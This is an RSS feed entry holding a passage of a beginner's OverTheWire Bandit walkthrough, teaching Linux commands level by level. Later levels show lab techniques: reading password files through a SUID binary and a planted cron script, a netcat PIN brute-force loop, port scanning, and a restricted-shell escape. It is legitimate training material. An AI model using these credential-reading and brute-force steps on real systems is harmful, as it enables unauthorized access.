<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Omer Bawazir on Medium]]></title>
        <description><![CDATA[Stories by Omer Bawazir on Medium]]></description>
        <link>https://medium.com/@omersecure?source=rss-ac04f87e55b8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*b0gfXJyNE66waYqdpUeHXw.png</url>
            <title>Stories by Omer Bawazir on Medium</title>
            <link>https://medium.com/@omersecure?source=rss-ac04f87e55b8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 19:12:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@omersecure/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OverTheWire Bandit: A Practical Walkthrough for Beginners]]></title>
            <link>https://omersecure.medium.com/overthewire-bandit-a-practical-walkthrough-for-beginners-5833de20357e?source=rss-ac04f87e55b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/5833de20357e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[overthewire]]></category>
            <dc:creator><![CDATA[Omer Bawazir]]></dc:creator>
            <pubDate>Thu, 25 Dec 2025 08:33:43 GMT</pubDate>
            <atom:updated>2025-12-25T08:42:38.980Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong><em>A practical, command-focused walkthrough explaining how each Bandit level can be approached.</em></strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A32zX0bdWisLTCo-bYtq1Q.png" /></figure><h3>🧩 Introduction</h3><p><a href="https://overthewire.org/wargames/bandit/"><strong>OverTheWire Bandit</strong></a> is a beginner-friendly wargame designed to teach Linux fundamentals, command-line usage, and common security misconfigurations.</p><p>This article documents the practical approach and techniques I used to solve the Bandit levels, focusing on understanding the logic behind each challenge rather than revealing passwords or direct solutions.</p><p><strong>Remember:</strong> The goal isn’t just to reach level 34, but to understand the <strong>“why”</strong> behind each solution. Happy hacking !</p><blockquote>💼 My Linkedin Account: <a href="https://www.linkedin.com/in/omer-secure"><strong><em>Omer Bawazir</em></strong></a></blockquote><h3>⚙️ Environment Setup (Optional)</h3><p>Before starting, SSH and WeChall integration were configured to track progress. This step is optional and does not affect solving the Bandit levels themselves.</p><h4>1) WeChall Account :</h4><ul><li>Register an account on <a href="https://www.wechall.net/"><strong><em>WeChall</em></strong></a></li><li>Log in and retrieve your <strong>username</strong> (is what you registered with) and <strong>token</strong> from <strong>→</strong> <strong>Account → WarBoxes</strong></li><li>The token is a unique identifier and looks similar to:<br><strong>XXXXX-XXXXX-XXXXX-XXXXX-XXXXX</strong></li></ul><h4>2) SSH Configuration</h4><pre>└──╼ $mkdir -p ~/.ssh  &amp;&amp;  chmod 700 ~/.ssh<br><br># Create and secure the SSH config file :<br>└──╼ $nano ~/.ssh/config<br>Host *.labs.overthewire.org<br>  SendEnv WECHALLTOKEN<br>  SendEnv WECHALLUSER<br><br>└──╼ $chmod 600 ~/.ssh/config</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*jzfdTKHKDRo_MPDhU32UDg.png" /></figure><h4>3) Environment Variables</h4><pre># Add the following lines to the last line of your ~/.bashrc file, then log out and log in again:<br>└──╼ $nano ~/.bashrc<br>export WECHALLUSER=&quot;Your_WeChall_Username&quot;<br>export WECHALLTOKEN=&quot;YOUR-WECHALL-TOKEN&quot;<br><br># Verify the variables:<br>└──╼ $echo $WECHALLUSER</pre><blockquote><strong>Note: </strong>This setup is only required for WeChall score tracking and is not needed to solve the Bandit challenges themselves.</blockquote><h3>Bandit 0</h3><h4>### Concept: SSH Connection Basics</h4><ul><li>The journey begins with learning <strong>SSH (Secure Shell)</strong>, the essential tool for remote server access. This level teaches the basic syntax</li><li>Here, SSH uses port <strong>2220</strong> (non-standard), requiring the <strong>-p</strong></li><li>Log in using SSH (username: <strong>bandit0</strong>, password: <strong>bandit0</strong>)</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh host0@domain                                    # Default Port: 22<br>└──╼ $ssh bandit0@bandit.labs.overthewire.org -p 2220     # Enter bandit0&#39;s Password</pre><h3>Bandit 0 → Bandit 1</h3><h4>### Concept: Reading Files</h4><ul><li>After connecting, we find our first password in a <strong>readme</strong> file</li></ul><h4>### <strong>Commands explored:</strong></h4><pre>└──╼ $pwd              # display the full, absolute path of your current location (directory/folder)<br>└──╼ $ls               # display the contents of a directory<br>└──╼ $cat readme       # read, display, and combine file contents directly in the terminal<br># You&#39;ll Find Bandit1 Password and looks similar to ---&gt; ZjLjXXXXXXXXXXXXXXXXXXXXXXXXp5If<br>└──╼ $wechall<br><br><br># ---------- Additional Commands For You ----------<br>└──╼ $nano &lt;FileName&gt;      # A beginner-friendly, simple editor. The commands for saving (^O for Ctrl+O) and exiting (^X for Ctrl+X) are displayed at the bottom of the screen<br>└──╼ $nl   &lt;FileName&gt;      # Displays the file content with line numbers prepended to each line<br><br>└──╼ $head &lt;FileName&gt;      # Displays only the first 10 lines of a file by default, useful for a quick preview. You can specify a different number of lines using the -n option<br>└──╼ $tail &lt;FileName&gt;      # Displays the last 10 lines of a file by default, commonly used for monitoring log files that are constantly being updated (use the -f option to follow new additions in real-time<br><br>└──╼ $less &lt;FileName&gt;      # Recommended for reading large files, as it displays content one page (or screen) at a time, allowing you to scroll up and down using the arrow, Page Up, or Page Down keys. Press q to exit<br>└──╼ $more &lt;FileName&gt;      # Similar to less, but offers more basic navigation (e.g., you typically cannot scroll backward easily). Press &quot;Space&quot; to move a page down and &quot;q&quot; to exit<br><br>└──╼ $cp --help            # used to duplicate files and directories<br>└──╼ $mv --help            # used to move files and directories from one location to another or to rename them<br>└──╼ $mkdir &lt;FolderName&gt;   # used to create new directories (folders) in the file system<br>└──╼ $ rm &lt;FileName&gt; OR rm -r &lt;FolderName&gt; # used to permanently delete files and directories</pre><h3>Bandit 1 → Bandit 2</h3><h4><strong>### Concept: </strong>Special Filename Handling</h4><ul><li>Here we encounter a file named <strong>-</strong> (<strong>dash</strong>). The dash character is special in Linux, often interpreted as stdin/stdout. We handle it with <strong>./</strong></li><li>Prefixing with <strong>./</strong> tells the shell it&#39;s a filename, not a command option</li></ul><h4>### <strong>Commands explored:</strong></h4><pre>└──╼ $ssh bandit1@bandit.labs.overthewire.org -p 2220     # Enter bandit1&#39;s Password<br>└──╼ $ls<br>└──╼ $cat -       # ❌<br>└──╼ $cat ./-     # ✅<br><br># You&#39;ll Find Bandit2 Password and looks similar to ---&gt; 263JXXXXXXXXXXXXXXXXXXXXXXXXX9mFx<br>└──╼ $wechall</pre><h3>Bandit 2 → Bandit 3</h3><h4>### Concept: Spaces in Filenames</h4><ul><li>Here we encounter a file named <strong>-- spaces in this filename --</strong> (<strong>starting with dashes and containing spaces</strong>). Files with spaces require special handling. Either use quotes or escape characters</li><li>Using <strong>--</strong> tells the cat command to stop looking for flags or parameters. Without this, cat would try to interpret a filename starting with <strong>--</strong> as a command option, leading to an error.</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit2@bandit.labs.overthewire.org -p 2220     # Enter bandit2&#39;s Password<br>└──╼ $ls<br>└──╼ $cat &quot;--spaces in this filename--&quot;            # ❌ Because &quot;--&quot; as a command option<br>└──╼ $cat &quot;--spaces\ in\ this\ filename--&quot;         # ❌ Because &quot;--&quot; as a command option<br>└──╼ $cat -- &quot;--spaces in this filename--&quot;         # ✅<br>└──╼ $cat ./&quot;--spaces in this filename--&quot;          # ✅<br><br># You&#39;ll Find Bandit3 Password and looks similar to ---&gt; MNk8XXXXXXXXXXXXXXXXXXXXXXXXXlSmx<br>└──╼ $wechall</pre><h3>Bandit 3 → Bandit 4</h3><h4>### Concept: Hidden Files</h4><ul><li>Linux hides files starting with <strong>.</strong> The <strong>ls -la</strong> command reveals them</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit3@bandit.labs.overthewire.org -p 2220     # Enter bandit3&#39;s Password<br>└──╼ $ls inhere/<br>└──╼ $ls -la inhere/<br>└──╼ $cat inhere/...Hiding-From-You<br><br># You&#39;ll Find Bandit4 Password and looks similar to ---&gt; 2WmrXXXXXXXXXXXXXXXXXXXXXXXXXF3NJ<br>└──╼ $wechall<br></pre><h3>Bandit 4 → Bandit 5</h3><h4>### Concept: Human-readable Files</h4><ul><li>In a directory with binary files, we need to identify the human-readable one. The <strong>file</strong> command helps</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit4@bandit.labs.overthewire.org -p 2220     # Enter bandit4&#39;s Password<br>└──╼ $ls -la inhere/<br><br>└──╼ $file ./inhere/*<br>└──╼ $cat  ./inhere/-file00     # data       ---&gt; human-Unreadable<br>└──╼ $cat  ./inhere/-file07     # ASCII text ---&gt; human-readable<br><br># You&#39;ll Find Bandit5 Password and looks similar to ---&gt; 4oQYXXXXXXXXXXXXXXXXXXXXXXXXXGUQw<br>└──╼ $wechall</pre><h3>Bandit 5 → Bandit 6</h3><h4>### Concept: Find Command with Criteria</h4><p>Find a file under inhere with properties (human-readable, 1033 bytes, not executable) — We use <strong>find</strong> with multiple conditions</p><ul><li><strong>-type f</strong>: regular files only</li><li><strong>-size 1033c</strong>: exactly 1033 bytes</li><li><strong>! -executable</strong>: not executable</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit5@bandit.labs.overthewire.org -p 2220     # Enter bandit5&#39;s Password<br>└──╼ $ls -la ./inhere<br>└──╼ $ls -la ./inhere/maybehere00<br><br>└──╼ $find --help<br>└──╼ $find ./inhere/ -type f -size 1033c ! -executable # ✅<br>└──╼ $find ./inhere/ -type f -size 1033c 2&gt;/dev/null   # ✅<br>└──╼ cat ./inhere/maybehere07/.file2<br><br># You&#39;ll Find Bandit6 Password and looks similar to ---&gt; HWasXXXXXXXXXXXXXXXXXXXXXXXXXa6EG<br>└──╼ $wechall</pre><h3>Bandit 6 → Bandit 7</h3><h4>### Concept: System-wide Search</h4><p>Find a file somewhere <strong>on the server/system</strong> with (owned by user <strong>bandit7</strong>, owned by group <strong>bandit6</strong>, <strong>33</strong> bytes)</p><ul><li><strong>2&gt;/dev/null</strong>: suppresses permission errors</li><li><strong>-user bandit7</strong>: owned by user bandit7</li><li><strong>-group bandit6</strong>: owned by group bandit6</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit6@bandit.labs.overthewire.org -p 2220     # Enter bandit6&#39;s Password<br>└──╼ $find / -type f -user bandit7 -group bandit6 -size 33c 2&gt;/dev/null<br>└──╼ $cat /var/lib/dpkg/info/bandit7.password<br><br># You&#39;ll Find Bandit7 Password and looks similar to ---&gt; morbXXXXXXXXXXXXXXXXXXXXXXXXXVAaj<br>└──╼ $wechall</pre><h3>Bandit 7 → Bandit 8</h3><h4>### Concept: Pattern Matching with grep</h4><ul><li>Introduction to <strong>grep</strong> for searching text</li><li>password stored in data.txt next to word <strong>millionth</strong></li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit7@bandit.labs.overthewire.org -p 2220     # Enter bandit7&#39;s Password<br>└──╼ $grep --help<br>└──╼ $grep &quot;millionth&quot; data.txt         # ✅<br>└──╼ $cat data.txt | grep &quot;millionth&quot;   # ✅<br><br># You&#39;ll Find Bandit8 Password and looks similar to ---&gt; dfwvXXXXXXXXXXXXXXXXXXXXXXXXX7eEc<br>└──╼ $wechall</pre><h3>Bandit 8 → Bandit 9</h3><h4>### Concept: Finding Unique Lines</h4><p>Password is the <strong>only line that occurs once</strong> in <strong>data.txt</strong>. Using <strong>pipeline </strong>(<strong>|</strong>) to combine commands</p><ul><li><strong>sort</strong>: Sort alphabetically</li><li><strong>uniq -u</strong>: then show only unique lines</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit8@bandit.labs.overthewire.org -p 2220     # Enter bandit8&#39;s Password<br>└──╼ $sort data.txt | uniq -u<br><br># You&#39;ll Find Bandit9 Password and looks similar to ---&gt; 4CKMXXXXXXXXXXXXXXXXXXXXXXXXXg0JM<br>└──╼ $wechall</pre><h3>Bandit 9 → Bandit 10</h3><h4>### Concept: Binary File Analysis</h4><ul><li>Password is in one of the few human-readable strings in <strong>data.txt</strong>, preceded by <strong>=</strong></li><li>The <strong>strings</strong> command extracts readable text from binary files</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit9@bandit.labs.overthewire.org -p 2220     # Enter bandit9&#39;s Password<br>└──╼ $strings --help<br>└──╼ $strings data.txt<br>└──╼ $strings data.txt | grep &quot;=&quot;<br><br># You&#39;ll Find Bandit10 Password and looks similar to ---&gt; FGUWXXXXXXXXXXXXXXXXXXXXXXXXXiqey<br>└──╼ $wechall</pre><h3>Bandit 10 → Bandit 11</h3><h4>### Concept: Base64 Decoding</h4><ul><li><strong>data.txt</strong> contains Base64</li><li>Base64 encodes binary data as ASCII text for transmission</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit10@bandit.labs.overthewire.org -p 2220     # Enter bandit10&#39;s Password<br>└──╼ $base64 -d data.txt<br><br># You&#39;ll Find Bandit11 Password and looks similar to ---&gt; dtR1XXXXXXXXXXXXXXXXXXXXXXXXX3qRr<br>└──╼ $wechall</pre><h3>Bandit 11 → Bandit 12</h3><h4>### Concept: ROT13 Cipher</h4><ul><li>ROT13: Each letter is rotated 13 positions (A→N, B→O, etc)</li><li><strong>MSG = ABC</strong> —&gt; <strong>ROT13 = NOP</strong> (A=0, B=1, C=2, N=13, O=14, P=15)</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit11@bandit.labs.overthewire.org -p 2220     # Enter bandit11&#39;s Password<br>└──╼ $cat data.txt                              # ❌ Unreadable --&gt; uses ROT13<br>└──╼ $tr &#39;A-Za-z&#39; &#39;N-ZA-Mn-za-m&#39; &lt; data.txt     # ✅ OR use CyberChef site<br><br># You&#39;ll Find Bandit12 Password and looks similar to ---&gt; 7x16XXXXXXXXXXXXXXXXXXXXXXXXXj9Q4<br>└──╼ $wechall</pre><h3>Bandit 12 → Bandit 13</h3><h4>### Concept: File Reconstruction</h4><ul><li><strong>data.txt</strong> is a <strong>hexdump</strong> of a repeatedly-compressed file. Work in <strong>/tmp</strong></li><li>This multi-step challenge teaches file format identification</li><li>Repeat decompression based on the file type (gzip, bzip2, tar)</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit12@bandit.labs.overthewire.org -p 2220     # Enter bandit12&#39;s Password<br>└──╼ $file data.txt &amp;&amp; cat data.txt                        # Hex<br>└──╼ $mktemp -d &amp;&amp; cd /tmp/tmp.XXXXXXXXXX &amp;&amp; cp /home/bandit12/data.txt .<br><br># Method 1 ---&gt; Manual<br>└──╼ $xxd -r data.txt &gt; compressed_file                    # Hex to Binary<br>└──╼ $file compressed_file &amp;&amp; mv compressed_file compressed_file.gz &amp;&amp; gzip -d compressed_file.gz<br>└──╼ $file compressed_file &amp;&amp; mv compressed_file compressed_file.bz2 &amp;&amp; bzip2 -d compressed_file.bz2<br>└──╼ $file compressed_file &amp;&amp; mv compressed_file compressed_file.gz &amp;&amp; gzip -d compressed_file.gz<br>└──╼ $file compressed_file &amp;&amp; tar xf compressed_file<br>└──╼ $file data5.bin &amp;&amp; tar xf data5.bin<br>└──╼ $file data6.bin &amp;&amp; mv data6.bin data6.bin.bz2 &amp;&amp; bzip2 -d data6.bin.bz2<br>└──╼ $file data6.bin &amp;&amp; tar xf data6.bin<br>└──╼ $file data8.bin &amp;&amp; mv data8.bin data8.bin.gz &amp;&amp; gzip -d data8.bin.gz<br>└──╼ $cat  data8.bin<br><br># Method 2 ---&gt; Auto in One Command<br>└──╼ $xxd -r data.txt &gt; c; for i in {1..20}; do ft=$(file c); echo &quot;Step $i: $ft&quot;; if echo &quot;$ft&quot; | grep -q &quot;ASCII text&quot;; then echo &quot;=== SUCCESS ===&quot;; cat c; break; elif echo &quot;$ft&quot; | grep -q &quot;gzip&quot;; then mv c c.gz; gzip -d c.gz 2&gt;/dev/null; elif echo &quot;$ft&quot; | grep -q &quot;bzip2&quot;; then mv c c.bz2; bzip2 -d c.bz2 2&gt;/dev/null; elif echo &quot;$ft&quot; | grep -q &quot;tar&quot;; then tar xf c 2&gt;/dev/null; extracted=$(tar tf c 2&gt;/dev/null | head -1); [ -f &quot;$extracted&quot; ] &amp;&amp; mv &quot;$extracted&quot; c; else echo &quot;Unknown&quot;; break; fi; done<br><br># You&#39;ll Find Bandit13 Password and looks similar to ---&gt; FO5dXXXXXXXXXXXXXXXXXXXXXXXXXXDwAn<br>└──╼ $wechall<br>└──╼ $rm -r /tmp/tmp.XXXXXXXXXX</pre><h3>Bandit 13 → Bandit 14</h3><h4>### Concept: SSH Keys</h4><ul><li>Use the provided private key to login as the next level</li><li>Security Note: Private keys should have <strong>600</strong> permissions (<strong>-rw- --- ---</strong>)</li></ul><pre>└──╼ $ssh bandit13@bandit.labs.overthewire.org -p 2220     # Enter bandit13&#39;s Password<br>└──╼ $cat sshkey.private          # Copy Private key Contents to your Machine<br>└──╼ $wechall<br>└──╼ $exit<br><br>└──╼ $nano sshkey.private          # Paste Private key Contents on your Machine<br>└──╼ $chmod 600 sshkey.private<br>└──╼ $ssh -i sshkey.private bandit14@bandit.labs.overthewire.org -p 2220<br>└──╼ $cat /etc/bandit_pass/bandit14<br># You&#39;ll Find Bandit14 Password and looks similar to ---&gt; MU4VXXXXXXXXXXXXXXXXXXXXXXXXXXCPvS</pre><h3>Bandit 14 → Bandit 15</h3><h4>### Concept: Network Communication</h4><ul><li>After That, Using netcat to Submit current password to <strong>localhost:30000</strong></li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh -i sshkey.private bandit14@bandit.labs.overthewire.org -p 2220  # OR <br>└──╼ $ssh bandit14@bandit.labs.overthewire.org -p 2220     # Enter bandit14&#39;s Password <br><br>└──╼ $nc -help<br>└──╼ $echo &quot;BANDIT14_PASSWORD&quot; | nc localhost 30000        # Replace &quot;BANDIT14_PASSWORD&quot; <br># You&#39;ll Find Bandit15 Password and looks similar to ---&gt; 8xCjXXXXXXXXXXXXXXXXXXXXXXXXXXKJQo<br>└──╼ $wechall</pre><h3>Bandit 15 → Bandit 16</h3><h4>### Concept: SSL/TLS Connections</h4><ul><li>Submit current password to <strong>localhost:30001</strong> using <strong>TLS</strong></li><li><strong>OpenSSL</strong> is a robust, open-source command-line toolkit used for a wide variety of cryptographic tasks. It is primarily known for implementing the <strong>TLS / SSL</strong> protocols, which secure communications over computer network</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit15@bandit.labs.overthewire.org -p 2220     # Enter bandit15&#39;s Password<br>└──╼ $echo &quot;BANDIT15_PASSWORD&quot; | openssl s_client -connect localhost:30001 -quiet   # Replace &quot;BANDIT15_PASSWORD&quot;  <br><br># You&#39;ll Find Bandit16 Password and looks similar to ---&gt; kSkvXXXXXXXXXXXXXXXXXXXXXXXXy0Dx<br>└──╼ $wechall</pre><h3>Bandit 16 → Bandit 17</h3><h4>### Concept: Port Scanning</h4><ul><li>Introduction to network reconnaissance</li><li>Find which port in <strong>31000-32000</strong> gives next credentials (only one does). Others echo input</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit16@bandit.labs.overthewire.org -p 2220     # Enter bandit16&#39;s Password  <br>└──╼ $nmap -p 31000-32000 localhost                        # Open Ports: 31046, 31518, 31691, 31790, 31960  <br><br># Replace &quot;BANDIT16_PASSWORD&quot; :<br>└──╼ $echo &quot;BANDIT16_PASSWORD&quot; | openssl s_client -connect localhost:31046 -quiet  # ❌  <br>└──╼ $echo &quot;BANDIT16_PASSWORD&quot; | openssl s_client -connect localhost:31518 -quiet  # ❌  <br>└──╼ $echo &quot;BANDIT16_PASSWORD&quot; | openssl s_client -connect localhost:31790 -quiet  # ✅  <br>└──╼ $wechall<br>└──╼ $exit<br><br># Copy and Paste Private Key Contents in bandit17.key on your Machine :<br>└──╼ $nano bandit17.key<br>└──╼ $chmod 600 bandit17.key<br><br>└──╼ $ssh -i bandit17.key bandit17@bandit.labs.overthewire.org -p 2220  <br>└──╼ $cat /etc/bandit_pass/bandit17<br># You&#39;ll Find Bandit17 Password and looks similar to ---&gt; EReVXXXXXXXXXXXXXXXXXXXXXXXXAcRD</pre><h3>Bandit 17 → Bandit 18</h3><h4>### Concept: File Comparison</h4><ul><li>Password is the only changed line between <strong>passwords.old</strong> and <strong>passwords.new</strong></li><li><strong>diff command</strong>: Shows only the differing line</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh -i bandit17.key bandit17@bandit.labs.overthewire.org -p 2220  # OR  <br>└──╼ $ssh bandit17@bandit.labs.overthewire.org -p 2220     # Enter bandit17&#39;s Password  <br><br>└──╼ $diff passwords.old passwords.new<br># You&#39;ll Find Bandit18 Password and looks similar to ---&gt; x2gLXXXXXXXXXXXXXXXXXXXXXXXXqGlO<br>└──╼ $wechall</pre><h3>Bandit 18 → Bandit 19</h3><h4>### Concept: Bypassing .bashrc</h4><ul><li>When <strong>.bashrc</strong> logs you out, bypass it with</li></ul><h4>### Commands explored:</h4><pre># ❌ Connection closed<br>└──╼ $ssh bandit18@bandit.labs.overthewire.org -p 2220<br><br># ✅ Method 1 ---&gt; Execute a single command without opening shell session :<br>└──╼ $ssh bandit18@bandit.labs.overthewire.org -p 2220 cat readme<br><br># ✅ Method 2 ---&gt; Starts Bash Shell without reading .bashrc file :<br>└──╼ $ssh bandit18@bandit.labs.overthewire.org -p 2220 -t /bin/bash --norc<br>└──╼ $cat readme &amp;&amp; wechall &amp;&amp; exit <br><br># ✅ Method 3 ---&gt; Execute sh Instead bash :<br>└──╼ $ssh bandit18@bandit.labs.overthewire.org -p 2220 -t /bin/sh<br>└──╼ $cat readme &amp;&amp; wechall &amp;&amp; exit<br><br># You&#39;ll Find Bandit19 Password and looks similar to ---&gt; cGWpXXXXXXXXXXXXXXXXXXXXXXXXl3j8</pre><h3>Bandit 19 → Bandit 20</h3><h4>### Concept: SetUID Binaries</h4><ul><li>Use the SUID binary in home to read the next password file</li><li>SetUID binaries run with owner’s privileges</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit19@bandit.labs.overthewire.org -p 2220     # Enter bandit19&#39;s Password<br>└──╼ $ls -la             # -rwsr-x--- bandit20 bandit19 (s ≠ x)<br><br>└──╼ $./bandit20-do<br>└──╼ $./bandit20-do id<br>└──╼ $./bandit20-do cat /etc/bandit_pass/bandit20<br><br># You&#39;ll Find Bandit20 Password and looks similar to ---&gt; 0qXaXXXXXXXXXXXXXXXXXXXXXXXXUbYO<br>└──╼ $wechall </pre><h3>Bandit 20 → Bandit 21</h3><h4>### Concept: Network Daemon Interaction</h4><ul><li><strong>suconnect </strong>connects to a local port; if it receives the correct current password, it returns the next password</li><li>Create a listener in one terminal and Connect in another</li></ul><h4>### Commands explored:</h4><pre># Tab 1 :<br>└──╼ $ssh bandit20@bandit.labs.overthewire.org -p 2220     # Enter bandit20&#39;s Password<br>└──╼ $nc -lp 1234          # Create a listener<br><br># Tab 2 :<br>└──╼ $ssh bandit20@bandit.labs.overthewire.org -p 2220     # Enter bandit20&#39;s Password<br>└──╼ $./suconnect<br>└──╼ $./suconnect 1234     # Connect, then go back to listener and Paste bandit20 Password then press Enter   <br><br># You&#39;ll Find Bandit21 Password and looks similar to ---&gt; EeoUXXXXXXXXXXXXXXXXXXXXXXXXuOBt<br>└──╼ $wechall</pre><h3>Bandit 21 → Bandit 22</h3><h4>### Concept: Cron Job Analysis 1</h4><ul><li><strong>Cron job</strong> schedules recurring tasks regularly. Inspect <strong>/etc/cron.d/</strong> and the script it executes</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit21@bandit.labs.overthewire.org -p 2220     # Enter bandit21&#39;s Password<br><br>└──╼ $ls -la /etc/cron.d <br>└──╼ $cat /etc/cron.d/cronjob_bandit22<br>└──╼ $cat /usr/bin/cronjob_bandit22.sh<br>└──╼ $cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv<br><br># You&#39;ll Find Bandit22 Password and looks similar to ---&gt; tRaeXXXXXXXXXXXXXXXXXXXXXXXXF58Q<br>└──╼ $wechall</pre><h3>Bandit 22 → Bandit 23</h3><h4>### Concept: Cron Job Analysis 2</h4><ul><li>Understanding and predicting script behavior</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit22@bandit.labs.overthewire.org -p 2220     # Enter bandit22&#39;s Password<br><br>└──╼ $ls -la /etc/cron.d<br>└──╼ $cat /etc/cron.d/cronjob_bandit23<br>└──╼ $cat /usr/bin/cronjob_bandit23.sh<br># Output : <br>   # mytarget=$(echo I am user $myname | md5sum | cut -d &#39; &#39; -f 1)<br>   # echo &quot;Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget&quot;<br>   # cat /etc/bandit_pass/$myname &gt; /tmp/$mytarget<br><br># Reproduce the script logic (hashing pattern) to locate the output file<br>└──╼ $echo &quot;I am user bandit23&quot; | md5sum | cut -d &#39; &#39; -f 1     # $mytarget = 8ca319486bfbbc3663ea0fbe81326349 <br>└──╼ $cat /tmp/8ca319486bfbbc3663ea0fbe81326349<br><br># You&#39;ll Find Bandit23 Password and looks similar to ---&gt; 0Zf1XXXXXXXXXXXXXXXXXXXXXXXX54Ga<br>└──╼ $wechall</pre><h3>Bandit 23 → Bandit 24</h3><h4>### Concept: Writing Cron Scripts</h4><ul><li>Create your own script in a writable directory. cron will execute it and delete it</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit23@bandit.labs.overthewire.org -p 2220     # Enter bandit23&#39;s Password<br><br>└──╼ $cat /etc/cron.d/cronjob_bandit24<br>└──╼ $ls -la /usr/bin/cronjob_bandit24.sh                  # -rwxr-x--- bandit24 bandit23 <br>└──╼ $cat /usr/bin/cronjob_bandit24.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*tGlL405wIl1QXnFZ9LvAGQ.png" /></figure><pre>└──╼ $mktemp -d &amp;&amp; cd /tmp/tmp.LvgLD08DaT &amp;&amp; chmod 777 /tmp/tmp.LvgLD08DaT<br><br>└──╼ $nano myscript.sh<br>#!/bin/bash<br>cat /etc/bandit_pass/bandit24 &gt; &quot;/tmp/tmp.LvgLD08DaT/bandit24_pass&quot;<br>chmod 777 &quot;/tmp/tmp.LvgLD08DaT/bandit24_pass&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*4ETIm3z9GN2S47ON3jlPxg.png" /></figure><pre>└──╼ $chmod 777 myscript.sh<br>└──╼ $cp myscript.sh /var/spool/bandit24/foo/     # then Wait one Minute<br>└──╼ $ls -la<br>└──╼ $cat bandit24_pass<br>└──╼ $rm -r /tmp/tmp.LvgLD08DaT<br><br># You&#39;ll Find Bandit24 Password and looks similar to ---&gt; gb8KXXXXXXXXXXXXXXXXXXXXXXXXf3G8<br>└──╼ $wechall</pre><h3>Bandit 24 → Bandit 25</h3><h4>### Concept: Brute Force Attack</h4><ul><li>Brute-force a 4-digit pincode on <strong>localhost:30002</strong> One connection is enough</li><li><strong>10,000</strong> possible combinations for a 4-digit PIN (Starts 0000 to 9999)</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit24@bandit.labs.overthewire.org -p 2220     # Enter bandit24&#39;s Password<br>└──╼ $nc localhost 30002                                   # Enter bandit24&#39;s Password and the secret pincode on a single line <br>└──╼ $for pin in $(seq -w 0000 9999); do echo &quot;BANDIT24_PASSWORD $pin&quot;; done | nc localhost 30002     # Replace &quot;BANDIT24_PASSWORD&quot; with bandit24&#39;s Password <br><br># You&#39;ll Find Bandit25 Password and looks similar to ---&gt; iCi8XXXXXXXXXXXXXXXXXXXXXXXXP3q4<br>└──╼ $wechal</pre><h3>Bandit 25 → Bandit 26</h3><h4>### Concept: Restricted Shell Escape</h4><ul><li>bandit26 uses a non-standard shell. Find it and escape</li><li>When faced with a restricted shell (like <strong>showtext</strong>):</li></ul><ol><li>Resize terminal so <strong>more</strong> doesn&#39;t exit</li><li>Enter vi editor: <strong>v</strong></li><li>In vi: <strong>:set shell=/bin/bash</strong></li><li><strong>:shell</strong></li></ol><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit25@bandit.labs.overthewire.org -p 2220     # Enter bandit25&#39;s Password<br>└──╼ $cat .pin              # bandit25_PIN: 1667<br><br># Method 1 ---&gt; ❌<br>└──╼ $cat bandit26.sshkey   # COPY/PASTE bandit26.sshkey Contents on your Machine <br>└──╼ $ssh -i bandit26.sshkey bandit26@bandit.labs.overthewire.org -p 2220     <br>     # The login displays Full text and exits<br>     # Force pager interaction (by shrinking terminal / causing paging), then escape into an editor and spawn a shell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wYY1W2wv2yhWbOdUPGMjNg.png" /></figure><pre># Method 2 ---&gt; ✅<br>└──╼ $grep bandit26 /etc/passwd     # Identifying the Shell Type<br>└──╼ $cat /usr/bin/showtext         # non-standard showtext shell<br><br>     # Resize terminal so more doesn&#39;t exit  (يعرض النص كاملا ويغلق الاتصال ---&gt; لذا نتهرب لندخل وضع التمرير عبر تصغير حجم التيرمنال بحيث لايعرض النص كامل)<br>└──╼ $ssh -i bandit26.sshkey bandit26@bandit.labs.overthewire.org -p 